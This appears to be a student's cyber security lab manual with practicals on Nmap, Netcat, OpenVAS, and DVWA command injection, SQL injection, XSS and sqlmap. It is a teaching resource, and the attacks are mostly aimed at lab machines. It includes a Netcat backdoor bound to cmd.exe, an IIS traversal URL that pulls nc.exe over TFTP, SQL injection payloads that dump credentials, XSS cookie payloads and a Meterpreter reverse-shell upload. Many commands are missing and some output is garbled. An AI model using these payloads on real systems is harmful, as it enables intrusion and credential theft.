kishan cs lm
kishan cs lm
Sr. Page
No Experiment Name Date No. Sign
Date:20.10.24
Place:Ahmedabad
Practical: 1
Aim: TCP scanning using NMAP
The Nmap aka Network Mapper is an open source and a very versatile tool for Linux
system/network administrators. Nmap is used for exploring networks, perform
security scans, network audit and finding open ports on remote machine. It scans for
Live hosts, Operating systems, packet filters and open ports running on remote hosts.
In this setup, two servers are used without firewall to test the working of the Nmap
command.
1. 192.168.0.100 – server1.tecmint.com
2. 192.168.0.101 – server2.tecmint.com
Most of the today’s Linux distributions like Red Hat, CentOS, Fedoro, Debian and
Ubuntu have included Nmap in their default package management repositories called
Yum and APT. The both tools are used to install and manage software packages and
updates. To install Nmap on distribution specific use the following command.
The Nmap tool offers various methods to scan a system. In this example, I am
performing a scan using hostname as server2.tecmint.com to find out all open ports,
services and MAC address on the system.
You can see that the below command with “-v” option is giving more detailed information about
the remote machine.
You can scan multiple hosts by simply writing their IP addresses or hostnames with Nmap.
You can scan a whole subnet or IP range with Nmap by providing * wildcard with it.
On above output you can see that nmap scanned a whole subnet and gave the information about
those hosts which are Up in the Network.
You can perform scans on multiple IP address by simple specifying last octet of IP address. For
example, here I performing a scan on IP addresses 192.168.0.101, 192.168.0.102 and
192.168.0.103.
If you have more hosts to scan and all host details are written in a file , you can directly ask
nmap to read that file and perform scans. Let’s see how to do that.
Create a text file called “nmaptest.txt” and define all the IP addresses or hostname of the server
that you want to do a scan.
localhost
server2.tecmint.com
192.168.0.101
Next, run the following command with “iL” option with nmap command to scan all listed IP
address in the file.
You can exclude some hosts while performing a full network scan or when you are scanning
with wildcards with “–exclude” option.
With Nmap, you can detect which OS and version is running on the remote host. To enable OS
& version detection, script scanning and traceroute, we can use “-A” option with NMAP.
SInfo(V=4.11%P=i686-redhat-linux-
gnu%D=11/11%Tm=52814B66%O=22%C=1%M=080027)
TSeq(Class=TR%IPID=Z%TS=1000HZ)
T1(Resp=Y%DF=Y%W=16A0%ACK=S++%Flags=AS%Ops=MNNTNW)
T2(Resp=N)
T3(Resp=Y%DF=Y%W=16A0%ACK=S++%Flags=AS%Ops=MNNTNW)
T4(Resp=Y%DF=Y%W=0%ACK=O%Flags=R%Ops=)
T5(Resp=Y%DF=Y%W=0%ACK=S++%Flags=AR%Ops=)
T6(Resp=Y%DF=Y%W=0%ACK=O%Flags=R%Ops=)
T7(Resp=Y%DF=Y%W=0%ACK=S++%Flags=AR%Ops=)
PU(Resp=Y%DF=N%TOS=C0%IPLEN=164%RIPTL=148%RID=E%RIPCK=E%UCK=E%U
LEN=134%DAT=E)
In above Output, you can see that nmap is came up with TCP/IP fingerprint of the OS running
on remote hosts and being more specific about the port and services running on the remote hosts.
Use the option “-O” and “-osscan-guess” also helps to discover OS information.
SInfo(V=4.11%P=i686-redhat-linux-
gnu%D=11/11%Tm=52815CF4%O=22%C=1%M=080027)
TSeq(Class=TR%IPID=Z%TS=1000HZ)
T1(Resp=Y%DF=Y%W=16A0%ACK=S++%Flags=AS%Ops=MNNTNW)
T2(Resp=N)
T3(Resp=Y%DF=Y%W=16A0%ACK=S++%Flags=AS%Ops=MNNTNW)
T4(Resp=Y%DF=Y%W=0%ACK=O%Flags=Option -O and -osscan-guess also helps to
discover OS
R%Ops=)
T5(Resp=Y%DF=Y%W=0%ACK=S++%Flags=AR%Ops=)
T6(Resp=Y%DF=Y%W=0%ACK=O%Flags=R%Ops=)
T7(Resp=Y%DF=Y%W=0%ACK=S++%Flags=AR%Ops=)
PU(Resp=Y%DF=N%TOS=C0%IPLEN=164%RIPTL=148%RID=E%RIPCK=E%UCK=E%U
LEN=134%DAT=E)
The below command will perform a scan on a remote host to detect if any packet filters or
Firewall is used by host.
With the help of “-sP” option we can simply check which hosts are live and up in Network, with
this option nmap skips port detection and other things.
You can perform a fast scan with “-F” option to scans for the ports listed in the nmap-services
files and leaves all other ports.
You can find out Nmap version you are running on your machine with “-V” option.
You can find out host interface and route information with nmap by using “–iflist” option.
**************************ROUTES**************************
DST/MASK DEV GATEWAY
192.168.0.0/0 eth0
169.254.0.0/0 eth0
In above output, you can see that map is listing interfaces attached to your system and their
respective routes.
There are various options to discover ports on remote machine with Nmap. You can specify the
port you want nmap to scan with “-p” option, by default nmap scans only TCP ports.
You can also specify specific port types and numbers with nmap to scan.
We can find out service’s versions which are running on remote hosts with “-sV” option.
24. Scan remote hosts using TCP ACK (PA) and TCP Syn (PS)
Sometimes packet filtering firewalls blocks standard ICMP ping requests, in that case, we can
use TCP ACK and TCP Syn methods to scan remote hosts.
25. Scan Remote host for specific ports with TCP ACK
26. Scan Remote host for specific ports with TCP Syn
Practical: 2
Aim: Port scanning using NMAP
Nmap (Network Mapper) is the most popular port scanner and network discovery tool used. It is
available for all major platforms. In this article we are going to learn the basics about nmap and
see how it can be used to scan the network and ports.
Install on Ubuntu
This is the first and most basic form of network scan that can be done with nmap, to detect
hosts that are alive and responding on the network.
$ nmap -sP 192.168.1.1-254
In the above command we scan all ip addresses from 192.168.1.1 to 192.168.1.254 Thats the
range and can be specified by the short syntax of 192.168.1.1-254
The CIDR notation can also be used, for example like this 192.168.1.1/24 Note : In CIDR
notation the number after the forward slash indicates the bits of the ip address that stay
constant from left site. So 24 means that "192.168.1" stays constant (8 bits x 3)
When doing ping sweeps, nmap tries reverse dns resolution of the target ip addresses. This is
generally not needed and can be disabled with the -n option.
$ nmap -sP -n 192.168.1.1-255
Ok so lets move on and do more scanning with the tool.
If you wish to dig deeper and analyse what nmap is doing behind the scene, you can use a
packet sniffer like wireshark to analyse the packets that nmap is generating and sending.
Getting the daemon/service banner or version information
Nmap can try to get the version number of the banner of each of the services that are running
on the host. The -sV flag can be used for this
$ nmap -sV localhost
Nmap does port scanning in a number of ways like tcp connect, syn scan, fin scan etc. The
most popular ones are tcp connect and syn scan. In tcp connect scan a full TCP connection is
[Enrollment No] Page 20
Cyber Security 3150714
established and in syn scan only half connection is established. When running as non-root on
linux, nmap does tcp connect by default
$ nmap 192.168.1.1
Syn scanning requires root privileges on linux systems. On ubuntu you have to do a sudo. To
do a syn scan use the -sS option like this
Check out the -sF, -sX , -sA , -sN flags for more information on them
More examples :
Nmap by default first check if a host is online or not by doing a ping. If the host is not online
then nmap would not port scan it. Many hosts now a days have firewalls installed that block
ping requests. In such cases nmap can be instructed to not check if the host is online and that
it should start port scan rightaway. This is done using the -PN option
$ nmap 192.168.1.1 -PN
Nmap can try to find out the operating system on target system by doing some fingerprinting.
This can be done by just using the -O switch. It also needs root privileges, since it uses raw
sockets. Also note that if you are running some sort of firewall like firestart on linux or
7) Aggressive scanning
The -A option can be used to perform an aggressive scan which is equal to - "enable OS
detection and Version detection, Script scanning and Traceroute". Here is a quick example
$ sudo nmap -A -T4 ##########
[sudo] password for enlightened:
Description
Netcat is a utility that is able to write and read data across TCP and UDP network
connections. If you are responsible for network or system security it is essential that you
understand the capabilities of Netcat. Netcat can be used as port scanner, a backdoor, a port
redirector, a port listener and lots of other cool things too. It's not always the best tool for the
job, but if I was stranded on an island, I'd take Netcat with me ☺ During this tutorial I'll
demonstrate a complete hack, using Netcat only, just to point out how versatile it is.
A scanning example from Hobbit is "nc -v -w 2 -z target 20-30". Netcat will try connecting
to every port between 20 and 30 [inclusive] at the target, and will likely inform you about an
FTP server, telnet server, and mailer along the way. The -z switch prevents sending any data
to a TCP connection and very limited probe data to a UDP connection, and is thus useful as a
fast scanning mode just to see what ports the target is listening on. To limit scanning speed if
desired, -i will insert a delay between each port probe. Even though Netcat can be used for
port scanning it isn’t its strength. A tool such as Nmap is better suited for port scanning.
We scanned 192.168.1.1, ports 1-200. We can see that among others, port 80, 21 and 25 are
open.
So we know it’s probably a Windows 2000 machine as it's running IIS 5.0 and Microsoft FTP
Service.
Let's try to send a malformed URL which attempts to exploit the File Traversal vulnerability
in unpatched IIS servers (Pre SP3). We will be using Netcat to Check for the vulnerability,
and if found (and it will!), we will upload Netcat to the IIS server and demonstrate how we
can use Netcat as a backdoor.
Basically this exploit allows us to "break out" of C:\inetpub\wwwroot and explore and
execute programs anywhere on the attacked machine.
The point here isn't hacking IIS, but the use of Netcat as a backdoor. Don't get
distracted by the whole "hacking into IIS" thing.
Notice that the URL has a plus (+) sign between each command. So the command:
Is transformed to:
http://<Exploit URL>/c+TFTP+-i+192.168.1.9+GET+nc.exe
Also take a note of your TFTP server, to see if it has successfully uploaded the nc.exe file:
Netcat as a BackDoor
So now we have Netcat uploaded to the IIS server, we want to use it to create a backdoor, in
order to get a remote command prompt.
In order to act as a backdoor we need Netcat to listen on a chosen port on the IIS server (lets
choose port 10001) and then we can connect to this port from our attacking machine…using
Netcat of course!
nc - tells Windows to run the nc.exe file with the following arguments: -L
Tells netcat to not close and wait for connections
-p Specifies a port to listen for a connection on
-d Tells Netcat to detach from the process we want it to run.
-e Tells what program to run once the port is connected to (cmd.exe)
If we now want to convert this command for Unicode URL use, it will look like this:
http://<Exploit URL>/c+nc+-L+-p+10001+-d+-e+cmd.exe
This should have started Netcat listening on port 10001 on the IIS machine and should
connect the cmd.exe process to the connection stream. From our machine we will try to
connect to the Netcat on the IIS server.
Tada! We have now "Shoveled a Shell" using Netcat. We effectively have a remote command
Let's look at other possibilities Netcat can provide. Sat we wanted to transfer a file called
hack.txt to the IIS server, and for some reason we don't want to TFTP the file. We can use
Netcat to transfer files from one system to another.
To receive a file named hack.txt on the destination system start Netcat on the IIS server
with the following command:
nc –l –p 1234 >hack.txt
On our source system (the attacking computer) we send a file named hack.txt to the IIS
machine with the following command:
Issue a ^C on the source system and your done. Be sure to check the file to be sure it is the
same size as the original.
We can see that the file hack.txt has been transferred to the target system, via port 1234.
These are just a few of the wonderful option Netcat has to offer. Definitely worth RTFMing.
Imagine all the wonderful possibilities of overcoming firewalls with netcat…
Practical: 4
1 Introduction
In this exercise we will show a popular open source vulnerability scanner called OpenVAS
(Open Vulnerability Assessment System). OpenVAS is the evolution of a previous project
called Nessus, which became a proprietary tool. The actual security scanner is accompanied
with a daily updated feed of Network Vulnerability Tests (NVTs), over 20,000 in total (as of
January 2011).
2 Goals
3 Notes
Commands preceded with \$" imply that you should execute the command as a
general user - not as root.
Commands preceded with \#" imply that you should be working as root.
4 Installation
$ sudo openvas-nvt-sync
Ideally, you will want to only allow scanning on hosts that are under your control. To
understand the syntax, check the openvas-adduser man page.
Let's allow this user to scan hosts in our lab network. Type:
Accept 10.10.0./16 default deny
type ctrl-D to exit, and then accept.
5 Operation
$ cd /home/sysadm $ vi scanme.txt
10.10.0.250
$ man openvas-client
Then, run the client like this:
$ sudo openvas-client -q 127.0.0.1 9390 sysadm nsrc+ws scanme.txt \ openvas-
output-.html -T txt -V -x
Alternatively, you can export into prettier HTML format with:
$ sudo openvas-client -q 127.0.0.1 9390 sysadm nsrc+ws scanme.txt \ openvas-output.txt
-T html -V -x
You might have to transfer that file to your laptop so that you can open it with a
browser.
Practical: 5
Aim: Web application testing using DVWA
1) Background Information
Lab Notes
3. Edit Network
Adapter o
Instructions:
1. Highlight Network Adapter
2. Select Bridged
3. Click on the OK Button.
1. Start Fedora14 VM
Instance o
Instructions:
1. Start Up VMWare Player
2. Select Fedora14
3. Play virtual machine
3. Get IP Address
o Instructions:
1. ifconfig -a
o Notes:
As indicated below, my IP address is
192.168.1.106.Please record your IP address.
1. Start up a Web
Browser o
Instructions:
1. Applications --> Internet --> Firefox
o Notes:
You can open up a Web browser on any Operating System on
yournetwork.
Working with DVWA does not have to be done on your Fedora
machine,the only requirement to play with DVWA is a follow
1. The Fedora Server is on the Network.
2. httpd is running
3. mysqld is running
1. Command
Execution o
Instructions:
1. Click on Command Execution
2. Execute
Ping o
Notes:
Below we are going to do a simply ping test using the web interface.
As an example, ping something on your network.
Use the IP Address obtained in Section 3, Step 3 if you have nothing
else
to ping.
Instructions:
0. 192.168.1.106
1. Click Submit
Instructions:
0. cat /etc/passwd
1. Click Submit
Notes:
Notice that either a messaging saying illegal IP address was
displayed or nothing was returned.
Instructions:
0. 192.168.1.106; cat /etc/passwd
1. Click Submit
Notes:
Notice that we are now able to see the contents of the /etc/passwd file.
Instructions:
0. Bring up a terminal window (See Section 3, Step 1, if you don't
know how)
1. cat /var/www/html/dvwa/vulnerabilities/exec/source/low.php
Notes:
0. Notice the two shell_exec lines.
1. These are the lines that execute ping depending on which
Operating System is being used.
2. In Unix/Linux command, you can run multiple command separated
by a ";".
3. Notice the code does not check that if $target matches an IP Address
\d+.\d+.\d+.\d+, where "\d+" represents a number with
the possibility of multiple digits, like 192.168.1.106.
Instructions:
0. 192.168.1.106; cat /etc/passwd | tee /tmp/passwd
Note:
Here we are not only displaying the contents of /etc/passwd on
the webpage, but also we are copying the /etc/passwd file to
the /tmp directory.
Practical: 6
Aim: Manual SQL injection using DVWA
2) Background Information
After Login into Backtrack, Login into DVWA to perform manual SQL injection.
1. SQL Injection
Menu o
Instructions:
1. Select "SQL Injection" from the left navigation menu.
2. Basic Injection
o Instructions:
1. Input "1" into the text box.
2. Click Submit.
the screen.
o Notes(FYI):
Below is the PHP select statement that we will be exploiting,
specifically $id.
$getid = "SELECT first_name, last_name FROM users
WHERE
user_id = '$id'";
Always True Scenario
Instructions:
0. Input the below text into the User ID Textbox (See Picture).
%' or '0'='0
1. Click Submit
Notes(FYI):
In this scenario, we are saying display all record that are false
and all records that are true.
%' - Will probably not be equal to anything, and will be false.
'0'='0' - Is equal to true, because 0 will always equal 0.
Database Statement
mysql> SELECT first_name, last_name FROM users
WHERE user_id = '%' or '0'='0';
Instructions:
0. Input the below text into the User ID Textbox (See Picture).
%' or 0=0 union select null, user() #
Notes(FYI):
Notice in the last displayed line, root@localhost is displayed in the
surname.
This is the name of the database user that executed the behind the
scenes PHP code.
Instructions:
0. Input the below text into the User ID Textbox (See Picture).
%' or 0=0 union select null, database() #
Notes(FYI):
Notice in the last displayed line, dvwa is displayed in the
surname.This is the name of the database.
Instructions:
0. Input the below text into the User ID Textbox (See Picture).
%' and 1=0 union select null,
concat(table_name,0x0a,column_name) from
information_schema.columns where table_name = 'users' #
1. Click Submit
Notes(FYI):
Now we are displaying all the columns in the users table.
Notice there are a user_id, first_name, last_name, user and
Password column.
Display all the columns field contents in the information_schema user table
Instructions:
0. Input the below text into the User ID Textbox (See Picture).
%' and 1=0 union select null,
concat(first_name,0x0a,last_name,0x0a,user,0x0a,password)
from users #
1. Click Submit
Notes(FYI):
Now we have successfully displayed all the necessary
authentication information into this database.
3. Paste in Notepad
o Instructions:
1. Edit --> Paste
Save in Notepad
1. Proof of Lab
o Instructions:
1. Bring up a new terminal, see (Section 7, Step 1)
2. cd /pentest/passwords/john
3. ./john --format=raw-MD5 dvwa_password.txt
4. date
5. echo "Your Name"
Replace the string "Your Name" with your actual name.
e.g., echo "John Gray"
o Proof of Lab Instructions:
1. Do a <PrtScn>
2. Paste into a word document
3. Upload to Moodle
Practical: 7
Aim: Web XSS using DVWA
1. Fix Character
Limit o
Instructions:
1. cd /var/www/html/dvwa/vulnerabilities/xss_s/
2. vi index.php
3. Continue to Next Step
o Notes(FYI):
1. By default, the comment box in the XSS stored GUI will only allow
for 50 characters. So we are going to change the character limit to 250
characters to demonstrate the following attacks.
2. Search for
mtxMessage o
Instructions:
1. Press the "/" key
This will put in you search mode in the bottom left part of the
screen.
2. Type "mtxMessage" and hit <Enter>
3. Replace number
o Instructions:
1. Your cursor should now be on the "m" on the word mtxMessage.
2. Right Arrow over to the 5 after maxlength.
3. Press "i" and type "2"
This will place the number 2 in front of the number 50.
4. Press the <Esc> key
5. Type ":wq!"
Now, Login into Backtrack, Open Console Terminal and Retrive IP Address.
1. Start Firefox
o Instructions:
1. Click on Firefox
2. Enable JavaScript (Part 1)
o Notes(FYI):
Typically, JavaScript popup boxes are disabled by default. The next
two steps enable JavaScript popup boxes.
Instructions:
0. Edit --> Preferences
Login to DVWA
Notes(FYI):
Replace 192.168.1.106 with Fedora's IP address obtained in (Section 3,
Step 3).
Instructions:
0. Start up Firefox on BackTrack
1. Place http://192.168.1.106/dvwa/login.php in the address bar.
2. Login: admin
3. Password: password
4. Click on Login
3. View Test 1
Results o
Notes(FYI):
1. Notice that the JavaScript alert we just created is now displayed.
2. Every Time a user comes to this forum, this XSS exploit will be
displayed.
3. This exploit can be easily modified to capture cookie/session
information for future Man-in-Middle attacks.
o Instructions:
1. Click OK
1. Reset Database
o Instructions:
1. Select "Setup" from the left menu navigation.
2. Click on the Create / Reset Database
Button. o Notes(FYI):
We need to reset the database otherwise the each XSS exploit will
appear
for each example.
XSS Stored Menu
Instructions:
0. Select "XSS Stored" from the left navigation menu.
XSS Test 2
Instructions:
0. Name: Test 2
1. Message: <iframe src="http://www.cnn.com"></iframe>
2. Click Sign Guestbook
Notes(FYI):
0. Notice that CNN is displayed under "Test 2's" Message.
This is a powerful exploit because a user could use SET to
create Malicious cloned website and place in here.
e.g., Social Engineering Toolkit (SET): Lesson 3:
Create Malicious Weblink, Install Virus, Capture
Forensic Images
1. Reset Database
o Instructions:
1. Select "Setup" from the left menu navigation.
2. Click on the Create / Reset Database
Button. o Notes(FYI):
We need to reset the database otherwise the each XSS exploit will
appearfor each example.
XSS Test 3
Instructions:
0. Name: Test 3
1. Message: <script>alert(document.cookie)</script>
2. Click Sign Guestbook
View Cookie
Notes(FYI):
0. Below is the cookie/session that the webserver establishes with the
current browser session.
1. An attacker could easily modify this XSS script to send the cookie to a
remote location instead of displaying it.
2. Image if this was a bank website. Every time a user logs in their cookie
information could be sent to a remote location.
Instructions:
0. Click OK.
2. Create msfpayload
o Notes(FYI):
Replace 192.168.1.105 with your BackTrack IP Address obtained from
(Section 7, Step 2).
Instructions:
0. mkdir -p /root/backdoor
1. cd /root/backdoor
2. msfpayload php/meterpreter/reverse_tcp LHOST=192.168.1.105
LPORT=4444 R > FORUM_BUG.php
3. ls -l FORUM_BUG.php
Edit FORUM_BUG.php
Instructions:
0. vi FORUM_BUG.php
1. Upload Menu
o Instructions:
1. Select "Upload" from the left navigation menu.
2. Click Browse
2. Navigate to
FORUM_BUG.php o
Instructions:
1. Click on root
2. Click on FORUM_BUG.php
3. Select Open
3. Upload
FORUM_BUG.php
o Instructions:
1. Click the Upload button
1. Open a console
terminal o
Instructions:
1. Click on the console terminal
2. Start msfconsole
o Instructions:
1. msfconsole
1. Reset Database
2.
XSS Test 4
1. View Metasploit
Session o
Notes(FYI):
1. Notice that BackTrack now has a connection into the Fedora 14
Webserver.
2. Continue to Next Step.
2. Establishing a
Shell o
Instructions:
1. shell
Establishes a "sh" shell.
2. tail /etc/passwd
This produces a potential prospect list for a ssh brute force
attack.
3. Find Configuration
Files o
Instructions:
1. whoami
Displays the name of the user.
2. grep apache /etc/passwd
o Instructions:
1. grep "db_" /var/www/html/dvwa/config/config.inc.php
This produces the database name, username, and password
information to log into the mysql database.
2. echo "use dvwa; show tables;" | mysql -uroot -pdvwaPASSWORD
This command produces a table list of the dvwa database.
o Instructions:
1. echo "<pre>" >> /var/www/html/dvwa/hackable/uploads/xss.html
Place the html <pre> tag in the xss.html file.
The <pre> is used as a pre-formatter.
2. echo "select user,password from dvwa.users;" | mysql -uroot -
pdvwaPASSWORD >>
/var/www/html/dvwa/hackable/uploads/xss.html
Place user and password for the dvwa.users table in the
xss.html file.
3. echo "</pre>" >> /var/www/html/dvwa/hackable/uploads/xss.html
Place the close html </pre> tag in the xss.html file.
4. echo "<br>Your Name<br>" >>
/var/www/html/dvwa/hackable/uploads/xss.html
Replace the string "Your Name" with your actual name.
5. date >> /var/www/html/dvwa/hackable/uploads/xss.html
Practical: 8
Aim: Automated SQL injection with SqlMap
Sqlmap is one of the most popular and powerful sql injection automation tool out there.
Given a vulnerable http request url, sqlmap can exploit the remote database and do a lot of
hacking like extracting database names, tables, columns, all the data in the tables etc. It can
even read and write files on the remote file system under certain conditions. Written in
python it is one of the most powerful hacking tools out there. Sqlmap is the metasploit of sql
injections.
1) Vulnerable Urls
Lets say there is a web application or website that has a url in it like this
http://www.site.com/section.php?id=51
and it is prone to sql injection because the developer of that site did not properly escape the
parameter id. This can be simply tested by trying to open the url
http://www.site.com/section.php?id=51'
We just added a single quote in the parameter. If this url throws an error or reacts in an
unexpected manner then it is clear that the database has got the unexpected single quote
which the application did not escape properly. So in this case this input parameter "id" is
vulnerable to sql injection.
Now its time to move on to sqlmap to hack such urls. The sqlmap command is run from the
terminal with the python interpreter.
The above is the first and most simple command to run with the sqlmap tool. It checks the
input parameters to find if they are vulnerable to sql injection or not. For this sqlmap sends
different kinds of sql injection payloads to the input parameter and checks the output. In the
process sqlmap is also able to identify the remote system os, database name and version. Here
is how the output might look like
Parameter: id
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: id=51 AND (SELECT 1489 FROM(SELECT
COUNT(*),CONCAT(0x3a73776c3a,(SELECT (CASE WHEN (1489=1489) THEN 1 ELSE
0
END)),0x3a7a76653a,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) ---
So the sqlmap tool has discovered the operating system, web server and database along with
version information. Even this much is pretty impressive. But its time to move on and see
what more is this tool capable of.
3) Discover Databases
Once sqlmap confirms that a remote url is vulnerable to sql injection and is exploitable the
next step is to find out the names of the databases that exist on the remote system. The "--
dbs" option is used to get the database list.
Now its time to find out what tables exist in a particular database. Lets say the database of
interest over here is 'safecosmetics'
Command
isnt this amazing ? it if ofcourse. Lets get the columns of a particular table now.
Now that we have the list of tables with us, it would be a good idea to get the columns of
some important table. Lets say the table is 'users' and it contains the username and password.
.......
Now comes the most interesting part, of extracting the data from the table. The command
would be
The above command will simply dump the data of the particular table, very much like the
mysqldump command. The output might look similar to this
The hash column seems to have the password hash. Try cracking the hash and then you
would get the login details rightaway. sqlmap will create a csv file containing the dump data
for easy analysis.